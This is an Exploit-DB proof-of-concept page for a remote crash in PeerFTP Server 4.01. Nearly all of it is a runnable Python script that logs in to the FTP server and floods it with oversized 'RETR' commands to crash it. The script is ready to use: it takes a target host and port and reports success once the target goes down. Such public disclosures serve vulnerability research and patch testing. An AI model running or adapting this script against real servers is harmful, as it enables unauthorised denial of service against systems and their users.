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PeerFTP Server 4.01 - Remote Crash (PoC)

🗓️ 20 Mar 2012 00:00:00Reported by localh0tType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 23 Views

PeerFTP Server v4.01 Remote Crash PoC. Exploits a remote crash vulnerability in PeerFTP Server version 4.01 by sending a specially crafted payload

Code
#!/usr/bin/python

# PeerFTP Server <=v4.01 Remote Crash PoC
# written by localh0t
# Date: 19/03/12
# Contact: [email protected]
# Follow: @mattdch
# www.localh0t.com.ar

from socket import *
import sys, struct, os

if (len(sys.argv) < 3):
	print "\nPeerFTP Server <=v4.01 Remote Crash PoC"
        print "\n	Usage: %s <host> <port> \n" %(sys.argv[0])
	sys.exit()


def checkDefaultUser(username,password):
	if username == '':
		username = "anonymous"
	if password == '':
		password = "[email protected]"
	else:
		pass
	return username,password

def createUser():
	username = raw_input("[!] Insert username (default: anonymous)> ")
	password = raw_input("[!] Insert password (default: [email protected])> ")
	return checkDefaultUser(username,password)

(username,password) = createUser()

print "\n[!] Connecting to %s ..." %(sys.argv[1])

# connect to host
sock = socket(AF_INET,SOCK_STREAM)
sock.connect((sys.argv[1],int(sys.argv[2])))
sock.recv(1024)

print "[!] USERNAME: " + username

sock.send("USER " + username + "\r\n")
sock.recv(1024)

print "[!] PASSWORD: " + password

sock.send("PASS " + password + "\r\n")
sock.recv(1024)

print "[!] Sending payload..."

payload = "RETR " + ("X" * 1000) + "\r\n"

for i in range (1, 5):
	sock.send(payload)

sock.close()
print "[!] Exploit succeed. Target should crashed."
sys.exit()

Data

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20 Mar 2012 00:00Current
5.3Medium risk
Vulners AI Score5.3
23